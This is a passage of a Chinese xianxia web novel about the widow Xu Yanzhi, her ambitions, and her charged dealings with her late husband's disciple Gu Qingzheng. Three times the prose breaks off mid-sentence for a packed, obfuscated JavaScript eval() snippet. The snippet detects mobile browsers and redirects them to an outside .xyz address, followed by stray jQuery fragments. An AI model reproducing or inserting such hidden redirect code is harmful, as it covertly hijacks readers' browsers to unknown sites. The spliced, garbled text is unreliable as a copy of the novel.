除了这些外,他唯一拥有的不同处,便是徐宴芝会隔一段时间过来探望他,问一问他可还缺些什么。 他的那间静得连草木生长的声音都算嘈杂的小院,抬头望去,目之所及的地方一片白茫茫,棉絮般的雪花挤挤攘攘地落在半空中的透明的穹顶上,几乎找不到坠入山间的路。 白的刺眼,是亘古不息的大雪变做的太阳。 好像在每一次她来之前,顾青峥都只穿着单衣,抱着他的剑坐在院中,仰头看着那片雪太阳。 看着看着,院门口前会传来虚浮的脚步声。 哒——哒——哒—— 那人不紧不慢地走着,她走得慢极了,踩在青石板上的每一声都在顾青峥耳边回响。 抑或他弄错了,那绵绵不断的回响,来自他左胸中与太阴山上的雪一般永不停息的心脏。 “青峥。” 小院的门会被一只澄净无暇的手轻轻推开。 顾青峥会先听到她的声音,再看到她的手,最后她的脸。 他应该叫师娘的女人,总是会站在门前,披着白色的、如团团雪制成的披风,笑盈盈地望着他。 顾青峥望着她,周遭的惨白都无法阻拦心底那肮脏阴暗的黑泥潭将他吞噬。 她为什么能笑得出来呢? 她为什么能自如穿上宇文令道侣的躯壳呢? 灵舟降落在太阴峰。 顾青峥带着他的剑,往他的小院走去。 后来他有了邻居,他的小院不再如同寂灭的另一方天地,闵道一时常在隔壁咋咋呼呼地大声与他说话,顾青峥只有动用仙法才能重获宁静。 只有徐宴芝似乎很久很久没有再出现过了。 想到这里,顾青峥停下了脚步。 他走之前,确信自己仔细地关上了小院的门,此时却看到这扇门开了一条缝隙。 右手握上了腰间长剑,顾青峥推开了门—— “你回来了。” 徐宴芝站在小院中,怡然自得地低头在灵植从中寻找着什么,她头也不回地开口说话,熟稔到仿佛这里是她的地盘,而顾青峥才是那个闯入者。 顾青峥按剑的手顿了顿。 片刻后,他放下了右手,安静走到徐宴芝身旁。 雪光刺目,她的长睫像银白的蝶,倒映着光,柔顺地歇在她蜜糖般的眼眸间,或许她脸颊上的细小绒毛也是那蝶落下的粉末,模糊了徐宴芝的轮廓,教她看上去近乎要融化在光里。 她似乎正在专心地在灵植当中找寻着什么。 顾青峥的视线落在地上,有几缕小小的白色花朵的残骸横七竖八地四散开,他盯着残花,问道:“夫人许久没来过这儿了,可是有事?” “嗯,想来你就要下山了,过来瞧瞧看,可带齐了丹药。”徐宴芝说着,直起腰来,扬了扬下巴示意顾青峥看向檐下处,“我正巧去了一趟玉衡峰,也给你带了一些新药过来。” “唔。”顾青峥不置可否,随着徐宴芝一块儿看向檐下那只匣子,“多谢夫人关心了。” 徐宴芝并不在意他的态度,扭头冲他笑笑,眼尾弯弯,露出一排白净小巧的牙齿。 “盏室花离旧城极近。”她的声音带着引诱,倏然变得极大声,在顾青峥心头回荡着,“你可要……” 可要如何?后头两个字,似乎被徐宴芝咽了下去。 说完这句话,像是完成了任务,她抛下顾青峥,随意地朝小院外头走去。 似乎因为腰肢柔软,她行走时会不自觉地轻轻摆动着身体,洁白的长裙温顺地包裹着她,裙摆飘动,像风中的寒来花。 顾青峥移开了视线,他看着院中茂盛的灵植开口道:“对了,方才在天枢峰上遇见了徐师弟。” 背对着他,徐宴芝停下了脚步。 “他要我向您带句话,上次他说的事,您还记得吗?” 徐宴芝微微皱起了眉头,偏头道:“我的家事,倒是劳烦你费心了。” 说罢,她加快了脚步,离开了小院。 太阴殿占地极大,若不使用仙法,从殿前走到殿后,莫约要两个时辰,今日徐宴芝再没有旁的事,索性慢慢沿着夹道,一步一步地朝着后院走去。 偌大的太阴殿,阴风阵阵,即便头顶巨大的结界,行走在夹道上时已然冷得出奇,待到回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772535|157851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小院,徐宴芝只觉脊背处隐隐作痛,针扎一般。 她面不改色地来到次间,次间中有白玉制成的浴池,大小占据了半个房间。 徐宴芝俯下身,引来发烫的水,等到水放得足够深后,从腰间锦囊中拿出丹药投入池中。 池水渐渐变得腥红,一股让人窒息的气息慢慢在浴室散开。 徐宴芝弯下腰,伸手在池水中掬起一捧,又缓缓将水倾落。猩红的水溅在白玉上,宛如鲜血。 接着,她褪下了衣物,一步一步踏入了池中。 白玉制成的浴池盛着一湾猩红,白玉一般的背脊上绽放着狰狞的伤痕,随着徐宴芝的脚步,一点一点地没入池水中。 池水紧紧地拥抱着她,在丹药作用下,她背脊上的伤痕处开始缓慢地长出新的血肉,血与肉交融,不住发出细微的吱吱声。 徐宴芝攥紧了拳,她的面容愈发白得胜过天边雪。 一炷香过后,细小的汗珠密密地爬满了她的脸,她的口唇开始止不住地颤动,视线也涣散起来,在晕厥之前,徐宴芝手脚并用,艰难地从池中爬了上来。 她倒吸着凉气,踉跄侧卧在池边暖玉上,嘴唇仍旧无法停止颤动,与眼眸同色的长发浸湿成一片,盖住了她光洁的背,掩住了丑陋。 离开了浴池,徐宴芝背上针刺般的疼痛并没有得到缓解。 她艰难地抬起支起身子往后看去,在背后的镜子里,她看到那些狰狞的伤痕似乎浅了一分。 如此便好,慢慢来。 再也撑不住身子,徐宴芝松开手,任由自己不着寸缕地侧躺着。 镜子里倒映出一具完美的女人身体,柔软又强韧,拥有着大地的美丽。 徐宴芝枕着胳膊,神色冰冷地看着镜子里的自己。 当天傍晚,有小弟子来报,说顾青峥在徐宴芝走后便独自下了山,他并没有与任何内门弟子同行。 在铺满了暖玉的小院中,徐宴芝裹着厚厚的皮毛,眉头微蹙地听小弟子说话。 听完后她顿了一顿,叹息道:“这孩子太过要强了些。” 小弟子也不好答话,只讪讪低头道:“顾师兄本领高强……” “是呢,青峥本领高强……” 徐宴芝喃喃重复道。 那小弟子走后,徐宴芝慢慢走回到卧房中,重新点燃了呛人的香。 将浓烈的香气吸入口鼻,她背脊上的痛楚暂时减缓,只是撑不了多久,莫约一炷香后,疼痛似乎又卷土重来。 因为今日药浴过,在缓慢愈合的伤口更为疼痛,徐宴芝无法,只得冒着风险,一直燃着镇痛的浓香。 她独自一人睡在这偏僻的小院中,无人看守,若是过度吸食香气,恐怕有陷入长眠的风险。 可她太痛了。 徐宴芝小心地将窗户打开,想了想,又掏出一枚丹药,一口咽下。 这是她今日才从玉衡峰讨来的新药,服之可使人聚气凝神,一般用在与惑人心魄的灵兽战斗时。 等到做完这一切,徐宴芝终于放下心来,迷迷糊糊地趴在床上,刺鼻的香气熏得她头晕目眩。 又过了许久,她才艰难地陷入昏沉。 半梦半醒间,她似乎又回到了白玉池边。 丰盈的女子只披着浸湿的长发,卧在暖玉上。 但她身后那枚半间屋子一般大的镜子里,倒映的并不是她自己,而是身着单衣的顾青峥。 是许久前了,那时他虽然还没有现在这般城府,但早已经长成。他身上那件月白的薄布下有若隐若现的小麦色胸膛,窄窄的重睑飞着,眼尾有薄薄一抹殷红。 似乎是看见了徐宴芝,他喉咙滚动了一下,右手从腰间长剑上放下,朝着她一步一步地走来。 哒、哒、哒—— 他迈着轻快的脚步,慢慢地靠近她。 徐宴芝恍惚地看着顾青峥的眼睛,那双让她厌恶的漆黑眼眸不见了,取而代之的是翡翠般的绿。 梦中的徐宴芝想,她喜欢绿色的眼睛。 8. 第八章 那一天后,徐宴芝哪儿也没去,在太阴峰上歇了好几日。 这是自从她成为宇文令的道侣后从未发生过的事情。 上山后的每一天,徐宴芝都过得十分充实,她在修行上天赋不高,极其努力修炼到筑基后,即便每日灵药不断,也再难有进益。 既然如此,她便将心思放在了旁的地方。 宇文令痴于修行,不耐烦门中庶务,这些原本要叨扰他清修的事情,便由善解人意的徐宴芝为他分忧了。 譬如,以往宇文令最为头疼的外域贸易。 相较外域,北域属实算的上地大物博,北边这一片终年冰封的冻土,都在太阴圣山能辐射的范围内,圣山照耀下,无数灵植灵物在无人知晓的地方生长着。 这些圣山赐予的寻常宝物,只有北域仙人们能采摘,多少年下来,七峰的库房中已经堆积如山,如同凡间的萝卜青菜一样。 而随着仙人们修为的提升,以及他们制成的灵器愈发复杂精密,对外域宝物的需要极大提升了。 北域苦寒,每年都需要从南边采买大量的暖玉,用来给修为低微的仙人、凡间的贵族们取暖。 另外北域代步灵舟中,最为重要的逐风雀之羽要向西域采买,山中结界大阵隔一段时间需要修缮加固,必不可少需要用到揽云大泽产出的不梦鳞。 这些仙人们之间的交易变成了一艘大船,不仅承载着宗门之间的交流,还成了此界凡人之间来往的通道,成了极其重要且复杂的事情。 北域七峰,各有长老负责,他们只需管着弟子庶务、灵植种植、制药、仙法修行、交易、观天象、刑罚中的一项即可,掌门则需要掌控大局。 七峰上能种植多少灵植?有多少弟子可以安排去种植?野外的灵植生长情况如何?某段时间灵力波动对灵植生长的影响大吗?七峰库房中缺失哪些外域产物? 零零散散无数件事,都要交到宇文令手中做最后决定,繁忙的时候,连着一段时间都无法专心修行,实在让人生厌。 将这些毫无意义的琐事交由徐宴芝来做,对他来说再好不过了。 至于后来徐宴芝做的这样好,则是另外的惊喜。 甚至于,一向喜怒不形于色的宇文令曾当着众长老的面称赞妻子善于谋划。 他几乎从未称赞过谁,更何况是在那样的场合。 因此那段时间,关于掌门对夫人的青睐又多了许多说法,在北域传的沸沸扬扬。 徐宴芝对于宗门庶务的掌控,也从那时开始加深。 北域似乎也习惯了如此,当徐宴芝连着数日不曾出现后,从前运行顺畅的七峰倏地滞涩起来。 其余长老暂且不提,天机峰周云子首先按捺不住,行色匆匆地乘着灵舟来到太阴峰,在前殿中转来转去地等着小弟子去请徐宴芝过来会客。 徐宴芝迤迤然来到前殿时,见到的便是一个烦躁地抓耳挠腮的仙子,陀螺一般打着转,长裙转成了喇叭花。 她没忍住笑了。 周云子站定在原地,转头看着她,瞪大眼吃惊道:“你如何还能笑得出来,我这些天都要烦死了。” “何事烦恼?”徐宴芝走上前,笑盈盈地望着周云子道。 “你还问?”周云子眼睛瞪地更大了,“你与吕敏之到底跟东边谈了什么生意,盏室花结的果也就罢了,为何强压着让我多种雪林草,那玩意儿除了酿酒还有何用?若要多种,我还得拔了现下种好旁的灵植……” 周云子一件事翻来覆去地讲,絮絮叨叨没完没了,偏偏徐宴芝还一直含笑听着,不时还应和几句, 想来这些日子她在吕敏之那儿受了不少气,一气儿说了一炷香的话才肯停。 徐宴芝也没有敷衍她,见她发泄完了,凑在她耳旁仔仔细细地将揽云大泽新制成了一种灵器,可潜入溟海之底,雪林草是其中一种必要的灵材,但这灵器还未在人前展示,他们便希望低调行事,不想引来有心人囤积雪林草的前因后果说了一遍。 周云子闻言,狐疑道:“若是如此,他们愿以何物来换?吕敏之又为何不肯与我细说呢?” 徐宴芝意味深长地勾起了嘴角,说了句毫不相干的话:“今日我还要下山一趟,徐家主母思念我,广济来寻我两次了。” 周云子愣在原地,想了一会儿,方才恍然大悟道:“吕家乃北域八大仙家之首,子孙众多,这个消息当然只提前告诉自家人,岂能让周家抢了先机。” 说到最后,她大笑起来,叹道:“仙人肚里的弯弯绕绕也这样多,徐夫人愿意提点我,又是因为何故呢?” 周云子说这句话不为问个明白,终于弄清楚这桩生意的缘由后,她顿时神清气爽起来,不再多想,拱手向徐宴芝道别后离开了太阴。 送走周云子后,徐宴芝站在檐下看了一眼苍穹,见天空蔚蓝,是难得没有下雪的好天气,她想起自己适才说的话,转头嘱咐一旁的小弟子道:“替我备车,我要下山一趟,去徐家。” 七峰上灵力充沛,用灵舟代步正合适,下山后不仅灵力稀薄了些,诸多仙家们挤挤挨挨的全住在一块儿,灵舟也难以找到降落点,索性还是用车,行动更方便。 为了用车,太阴峰常年饲养着许多飞虎,小弟子们听令后去到兽厩中,选了两只飞虎套上车,用灵力催着他们往殿前走去。 飞虎高丈余,身有羽翼,通身纯白,乍看之下气势汹汹,正能体现宗门气派。 小弟子驾车来到殿前,徐宴芝仍穿了一身白,不施粉黛地登上了鎏金镶玉的飞虎车,往山下去。 飞虎奔驰,快如风,不过半个时辰,便来到了山脚下,又行使了一炷香后,前头传来小弟子的呼喝声,徐宴芝感到一阵颠簸,知晓此时已经来到了七峰山下的仙家城府中。 车速慢了下来,徐宴芝直起身子,撩开了帘子看向外头。 外头一片寂静,许多人弯下身,取下帽子,朝着飞虎车行大礼。 这里是进城处一条繁华的大街,两边各色楼房都敞开了朝大街的门,里头隐隐约约的有许多人影,如鬼影重重,飞虎车出现后,他们一个接着一个,悄无声息地消失了。 徐宴芝知道他们这是在做一些生意,宗门并不禁止,只是说来不好听,便鬼祟了些。 这里一切都与她从前还未上山时一样,仙门脚下,几十年的时间眨眼便过去了,留不下一丝痕迹。 没甚好看的,徐宴芝放下帘子,闭目随着车身轻晃而摇动,直到飞虎车停了下来。 她睁开眼,面无表情地拢了拢身上的大衣裳。 “夫人回家,竟然没有提前给个消息。”一个尖锐到发颤的女声从外头传来,“若是今日我出远门去了可怎么办,还好这几日我们都在家等着,这位小仙人也辛苦了。” 车停在一间小宅子前,因为不太大,里头的人立即发现了他们,忙忙从屋里出来迎接。 架车的小弟子没有答话,安抚了有些暴躁的飞虎后,跳下车来走到车门前,小心问道:“夫人?” 等徐宴芝在里头应了,才替她打开车门,伸手扶她下来。 这一番造作的时间,门前女子笑得嘴唇几乎粘在牙上,都要挂不住时,徐宴芝像是才见到她似得,温和道:“伯母为何亲自出来迎接。” 徐家主母与她久未相见,不防徐宴芝竟然变得如此气派,这个三流仙家的主母有些无措起来,只能堆起笑来,请徐宴芝进屋上座。 徐家主母也曾是内门弟子,只是天赋有限,筑基后再难有进益,这样下去待在门中也无法再进一步,她便自请离开了宗门,下山寻觅了一位夫婿,生下了一个孩儿。 天地间灵力有限,对仙人而言岁月也同样严苛。 如今她已经近二百岁,作为只有筑基修为的仙人,生命这炷香即将燃尽,徐家主母显出了老态,颤颤巍巍地走在徐宴芝身旁,引着她坐下,为她斟茶。 待到徐宴芝坐在上首的位置后,如今住在家中的几个小辈便在主母的呼唤下依次走到屋中,向徐宴芝行礼。 徐宴芝年幼时也在这儿住过,她抬眼看去,这些小辈一个个都青涩稚嫩,只敢低着头偷偷掀起眼皮朝上瞥她,见她目光扫来,惊得如小兽般一缩,快快地一齐垂下了眼。 “今年的弟子大选也快开始了,他们便是在家里等着预备参选的小孩儿吧?” 徐宴芝不愿惊扰了这些脆弱的小东西,挪开眼看向徐家主母道。 “是啊,这些都是徐家有些天赋的年轻子弟,她们俩……”徐家主母点着站在中间,样貌姣好的那两个少女,“在家时已经能引气入体,我与你伯父想着,至少能做个内门弟子。” 徐宴芝看着她们纤细的胳膊,稚嫩又美丽的脸,心中冷哼一声,对徐家的欲念有了数,她似笑非笑地偏头看向徐家主母,并没有顺着她的话往下说,转而聊起了家常。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772536|157851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 聊了不过一会儿,外头匆匆回来了一个须发皆白的仙人,进屋对徐宴芝拜道:“不知夫人今日回家,实在是失礼了!” 这便是徐家家主了,他修为与妻子一般,年岁也相仿,如今都是老翁老妪的模样,只剩长须飘荡在胸前,还剩几分仙气。 徐宴芝客气地与他相见,几位小辈也被吩咐退下,会客厅中只剩了他们三人。 即便被岔开了话,徐家主母仍旧在想办法将话题转回到家中子弟身上,她嘴角扬得很高,细声道:“这些孩子都如你在家那样精细养着,夫人来家里时就带了奴仆,我们想着以后就都如此,也为他们安排了奴仆相伴——” 咔哒—— 房中蓦地传来清脆的瓷器碰撞声。 “时候也不早了,山上事多,我该早些回去才是。” 徐宴芝粗暴地打断了徐家主母,放下手中的茶盏,做出要离去的架势。 徐家家主连忙狠狠瞪了一眼妻子,转身又对着徐宴芝笑道:“好容易才下山一会儿,不如在家中用上一顿饭再回去?家里还有许多事,想要跟夫人聊聊!” 但已经迟了,徐宴芝沉下脸来,站起了身子。 这话是没法再谈下去了,家主心中一叹,脸上半点不显,仍旧客客气气地笑着送徐宴芝出门。 七峰山下寸土寸金,寻常的仙家能在这里修建一处宅子已经是难得了,徐家这地方,三人一前一后地走到了门口,徐宴芝放在桌上那盏茶还是烫的。 不过,就在他们谈话这样短的时间里,徐家门口忽然出现了一位负剑而立的仙人。 看着那位仙人,徐宴芝倏地停下了脚步。 徐家二位跟着止步,两人越过徐宴芝肩头定睛一看,只觉那仙人分外眼熟,不仅修为强大,还长了一张万里挑一的脸。 两人不禁悄悄对视了一眼,从彼此眼中看出了疑虑。 那位原本正在出神的仙人,听见了徐家门口的动静偏头看来,朝着徐宴芝粲然一笑。 “我正巧要回山上,进城后听闻师娘下山了。”翩翩而立的顾青峥凝视着徐宴芝,轻声解释着,“我便来接师娘回家。” 徐宴芝并未回答,先从头到脚将他看了一遍。 想来此行顺利,除却有些疲惫外,顾青峥瞧上去一切都好。 “多谢你这份心思。”徐宴芝有些失落地喃喃道。 打量完后,她目光低垂,在徐家人晦暗不明的眼神中,缓缓走向了顾青峥。 顾青峥为她打开车门,扶着她上了飞虎车。 接着,他自然地一同上车,与徐宴芝一同坐下后,反手将门关上,隔绝了外头许多忖度的目光。 飞虎打着响鼻,带着身后鎏金镶玉的车向前驶去,徐家家主站在门前,看着远去的飞虎车,抚须沉思着。 许久后,他方才醒转来,对身旁的妻子埋怨道:“今日你不该提到奴仆之事。” “我没有想到,这么多年过去了,她竟然还……”徐家主母着急地解释着,“都已经过去几十年了!一个样貌清秀罢了的女子,一步登天地入了掌门的眼过上了好日子,心胸却还那那样狭小!” 徐家家主没说话,半晌后才古怪道:“这顾青峥,待师娘是真好啊。” 那二人早已走远,自然听不到徐家的议论。 车厢中气氛十分怪异。 徐宴芝与顾青峥分别坐在两头,撩开了帘子,各自转头看着车窗外飞驰而过的景色。 斑斓的色彩从徐宴芝脸上掠过,她定定地看着早就看腻的城中景色,像是第一次见一般。 飞虎极速奔跑带着他们离开了城里,色彩消失,白雪皑皑的荒原出现,刺目的雪光刹那间照进她的眼,徐宴芝瞳仁一缩,伸手去遮光,车身却倏然一阵颠簸,让她失了平衡,不由自主地歪了身子。 车厢中原本宽敞,此时却逼仄起来,让徐宴芝的胳膊紧紧贴在了顾青峥手臂旁。 徐宴芝一手拦着光,一手撑着座,想要坐回去。 她没能成功,有温热的体温将她的手囫囵包裹。 徐宴芝的手被顾青峥捉在手心里,她感到他粗粝的手指,正在细细地、一点、一点地摩挲着她的手背。 有轻微的痒,一路沿着手,爬到了她的心,又往身上散去。 车窗外雪色连成一片,他们将一切往身后抛去,飞虎低吼,驾车人不时出声指引,而车里悄无声息。 9. 第九章 顾青峥来自北域大仙家。 顾家嫡系每代中都有许多人被宗门选中,从此踏上仙途。在千年前,顾氏还曾诞生过一位北域七峰掌门,是不折不扣的一流仙家。 只是,北域仙人们都知晓,顾青峥是顾氏养子。 传言顾青峥出生于某个依附于顾氏的小仙家,父不详,他的母亲声称他是顾氏骨血,将他送回顾家后,从此下落不明。 因为这一桩桃色丑闻,顾氏不得不捏着鼻子将他收养,只是为了声誉,他们对外宣称顾家收养他只为怜惜顾青峥天赋异禀。 为了逃避不怀好意的视线,莫约有数年时间,顾家将他藏了起来,不教任何人知晓顾青峥去了哪儿,等到他的身世被淡忘,一流仙家又出现了新的丑闻后,才让他重现人前。 再现人前后,顾青峥的光芒终于全然展现。 十余岁参加北域宗门大选,成为当年入选弟子中的佼佼者,时隔八年,入门后第一次弟子大比中,顾青峥从诸多外门弟子中杀出重围拔得头筹,众目睽睽之下,宇文令问他,想要什么奖励。 顾青峥当众直言,他想拜掌门为师,求宇文令给他一个机会,他愿以身侍奉师父,定不会辜负。 一个入门不过八载的小弟子,竟然有勇气提出这样的要求,想来当时的宇文令觉得十分有趣,他点了点头,同意了顾青峥的请求。 于是,当时不过二十出头的他,被宇文令收为亲传弟子,一步登天,从七峰山下,来到了太阴峰上。 徐宴芝并没有亲眼目睹顾青峥在弟子大比中的风采,她那时被暗疾折磨,难得缺席了这样重要的场合。 等到顾青峥带着他的剑,孤身一人来到了太阴峰后,她才从小弟子口中得知了这件事。 宇文令第一次收徒,只记得下令让徒儿来到太阴殿,随后便急不可耐地闭关修行,全然忘了安排顾青峥的衣食住行,甚至也忘了对徐宴芝说一声。 顾青峥与他的剑一起,茫然站在太阴殿前等待了许久。 或许这是丈夫对徒儿的一种试炼,不过以徐宴芝对宇文令的了解,她的丈夫大抵是忘了。 她在小院中等到了第二日天明,仍旧没能等到宇文令的只言片语,起身去瞧时,发现丈夫早已闭关不见人。 这样的事情总是时常发生,徐宴芝叹息了一声,想了一想后,吩咐小弟子将殿前一间无人用的小院收拾起来。 那时正是北域的冰雪季,是一年中最冷的时候。 天方才亮起时,即使有结界保护,也是太阴峰上一日内最寒冷的时刻,顾青峥即使拿了弟子大比的头名,当时也只上山不到十年,堪堪修到了筑基境界。 圣山苦寒,一夜过去,不知他可还好。 徐宴芝思来想去,拿起丈夫赠与的灵兽皮斗篷,又亲手制了一杯炊玉饮,趁它还滚烫着,捧在手中往外走去。 她没有让小弟子们陪伴,独自一人来到了太阴殿前。 太阴殿与七峰其余宫殿风格迥异,它奢靡华美,端的是仙山琼阁之态。 正殿建于高台上,往下有九百九十九层灵石阶梯,殿前广场几乎一望无垠,广场尽头,有一座仙门,门上无字。 以此门为界限,里为太阴殿,外头另有高堂邃宇,居住着宗门中较有天赋的小弟子,一为接近圣山,灵力充沛有利修行,二为操持太阴殿中琐事。 那天实在过冷,除却在殿中值日的小弟子外,太阴殿外一片寂静,静得只剩雪花落在结界上的声音。 偌大的华美宫殿虚浮地飘在高台之上,天上地下浸透在晶莹的冰雪之色中,如梦幻泡影。 抱着长剑,在门前站了一夜的顾青峥几乎要与太阴殿化为一体,他的发梢、睫毛、眉间都染上了霜,脸色惨白,几乎变做了雪花而去。 顾青峥在意识模糊的边缘,见到了从梦幻泡影中走出来的徐宴芝。 她穿着月白的斗篷,手上挽着一件皮毛,还端着一杯冒着热气的灵药。 兜帽遮住了她的半张脸。 苍白、巍峨的太阴殿,大雪纷飞的圣山,都是她红唇的底衬。 那抹红刺痛了顾青峥的瞳仁,他眨了眨眼,睫毛上扑簌簌地落下冰来。 徐宴芝缓缓走到他的面前,她伸手揭下兜帽,琥珀色的眼中倒映着顾青峥的影子。 “你还好吗?” 一个柔软的女声传到了顾青峥耳中。 或许是太冷了,望着她的脸,顾青峥青白的唇开始颤抖,而后他的身躯也开始晃动。 他睁大了眼看着徐宴芝,长剑从手中滑落。 长剑坠地,撞在青玉石板上发出了刺耳的响声,在太阴殿前回荡着。 徐宴芝暗叹一口气,嘴角上扬到完美的角度,伸手接住了将要与剑一同坠地的顾青峥。 他一只脚单跪在地,僵硬的手被徐宴芝握在手心,上半身埋进了她身上厚厚的斗篷里。 暖意瞬间流过顾青峥的四体百骸,本能驱使着他不要离开,可他却艰难地仰头看着徐宴芝,颤栗着想要开口说些什么。 “寒……”他几乎发不出声音。 “先莫要说话。” 徐宴芝一手捧着他的脸,一手将手中的炊玉饮喂到顾青峥的嘴边。 些许炙热的液体沿着他的唇落在她的指尖,继而滴答砸碎在他的剑上。 “太冷了,你先喝下这杯炊玉饮,我再带你去你的住处。”徐宴芝面上有些浅显的怜悯,“掌门事务繁多,你若缺些什么,只管与我说。” 说到这里,徐宴芝呀了一声。 她稍稍用力,将顾青峥扶起,笑道:“还未与你介绍我是谁,我姓徐名宴芝,是你的师娘,你叫青峥,对吗?” 闻言,她手中那只冰冷如雪的手倏地用力,反扣住徐宴芝,握得她发痛。 徐宴芝偏头看向窗外,回忆起了与第一次见到顾青峥时的场景,她已经忘了那时他的模样,只有手中那一丝的痛楚,时隔许久,她还偶尔会想起。 他成为宇文令的徒弟后,只在徐宴芝面前失态过这一次。 因此,在她的丈夫死后,她曾设想过许多场景。 或许他们会有冲突,或许他会破坏她的谋划,每夜吸食浓香,半梦半醒时,徐宴芝昏昏沉沉地想着关于顾青峥的种种,他浅笑的模样重重叠叠挤满了她的脑子。 千算万算,她还是没曾想到,顾青峥这条喂不熟的狗,不仅想要师父的遗产,还觊觎上了师父的遗孀。 只是她还没有想明白,顾青峥是真的想要师父的遗孀,还是某种软弱无力地反制呢? 徐宴芝想到此处,不仅不恼,反而生出了熟悉的、下作的兴味。 她不再任由顾青峥动作,徐宴芝稍稍用力,将手反过来握住了他的,随后沿着这只常年习武略显粗糙的手,慢慢向上滑动。 仙人都爱穿长袍广袖,不仅彰显风姿,也方便了某些上不得台面的动作。 徐宴芝柔软的指腹,一点一点划过了身边人的小臂,她分明已经极尽轻柔,可仍然能感到手下这具□□的紧绷。 “青峥此行可还顺利。”徐宴芝看着窗外,放软了身子靠在座椅上,手却依然轻轻抚弄着,“盏室花的果实,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772537|157851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你收在锦囊中了吗?” 她一边说着,一边转过身来,她收回了在顾青峥手臂上游弋的手,意有所指地划过了他的腰间。 顾青峥看向她,眼神晦暗不明,语气倒是一如既往的恭谨:“遇到了一些麻烦,但都解决了,果实按照玉衡峰的办法好好处置过再放进了锦囊中,教师娘放心。” 他说着,又将徐宴芝调皮的手握住,细细地、一根一根揉捏着她的手指。 飞虎车两边车窗大开,前头驾车的小弟子耳朵一动一动,暗自偷听着车厢中的动静。 车中两人一来一回,言语中是母慈子孝,只是驾车人看不到的地方,徒弟放下了伪善的面具,露出了面具下的真容。 飞虎车速度极快,不过一会儿功夫,他们便回到了太阴峰上,小弟子将车在太阴殿的侧门,顾青峥先下车,而后恭谨地身子前倾,伸手接了一下徐宴芝。 他十分有礼,手被宽大的广袖包裹,注意着没有直接触碰到师娘的手。 此时许多小弟子围了上来,一边向徐宴芝他们行礼,一边帮忙将两只飞虎从车上解下,赶去栏厩中。 徐宴芝冲小弟子们点点头,紧了紧斗篷,往后院走去。 顾青峥落在她身后半步,在她步入宫殿前叫住了她,将一枚从锦囊中拿出来的卷轴塞进了她的手中。 他的眼眸沉沉,是徐宴芝厌恶的黑。 “我在山下的仙城中,遇见了岳竺。”顾青峥凑在徐宴芝耳边轻声道。 徐宴芝反应了一会儿,才记起来岳竺是谁,她捏着手中的卷轴,望着顾青峥挑了挑眉。 “岳竺知晓我会路过那儿,特意提前等着我。”顾青峥越说,语气越怪异,“他请我将卷轴交给您,他说,若您愿意,可在开山门后去揽云大泽……” 徐宴芝眼中闪过一丝寒芒,她伸手制止了顾青峥接下来的话,柔声道:“我知道了,你且先去将东西交给吕长老,好生修养几天吧。” 两人眼神交汇,心中各自闪过念头,面上却挂着一样的笑容,道别后走上了不同的路。 徐宴芝回到她的小院,将顾青峥送来的卷轴展开,果然见里头印着揽云大泽岳竺的印。 卷轴中写道,自上次一别,岳竺心中对徐宴芝念念不忘,想来在下任掌门继位后,她留在北域也是尴尬,不如来揽云大泽,岳竺还未曾有过道侣,此时正虚位以待。 徐宴芝一目十行地看完,转念一想,又点了一盏灯来,运用上灵力,仔细地用火去燎了卷轴。 上头又显出了一行字。 她读完后一笑,将卷轴扔在箱笼中,与宇文令的画像放在了一块儿。 做完这一切,徐宴芝俯身点燃浓香,坐在床沿上褪下了身上衣裳。 她背对着桌上的小镜,细细地查看着背上的伤痕,自上次用过药后,这些狰狞的印记已经淡了一些。 徐宴芝松了一口气,披上了一件衣裳,随意地从锦囊中拿出了一枚手巾。 手巾是上一回顾青峥在宇文令的灵前递给她的,事情太多,她一直忘了还回去。 徐宴芝将手巾捏在手里拉扯了一会儿,随后轻笑着将它一齐放进了箱笼当中。 “开山门后,我再留在山上也尴尬……”徐宴芝怪声怪气地模仿着卷轴中岳竺的话,“不如逃去揽云大泽,又去当谁的师娘好了……” 说着说着,她觉得有趣,兀自笑了起来。 “可惜了……” 回想着今日见到的顾青峥,全须全尾,毫发未损,徐宴芝遗憾地将被他握过的那只手拿到眼前,幽幽叹了口气。 10. 第十章 盏室花一事过去后,徐宴芝忙于庶务,顾青峥也不时接到下山任务,忙碌之下已有许久未能相见。 既然如此,那日在车中发生的事,徐宴芝便暂时抛在了脑后,这几日与揽云大泽谈妥的交易出了些问题,实在棘手,为此她今日特地来到了天机峰,去寻周云子商讨。 周云子身为天机峰长老,负责北域七峰灵植的种植与采摘,她天生便不爱与人相处,擅长侍弄这些不说话的小东西,一年到头待在她的田地中。 徐宴芝也晓得她的行事作风,灵舟一停稳,她不听天机峰上小弟子将她往会客室引的话,转身便往结界外走去。 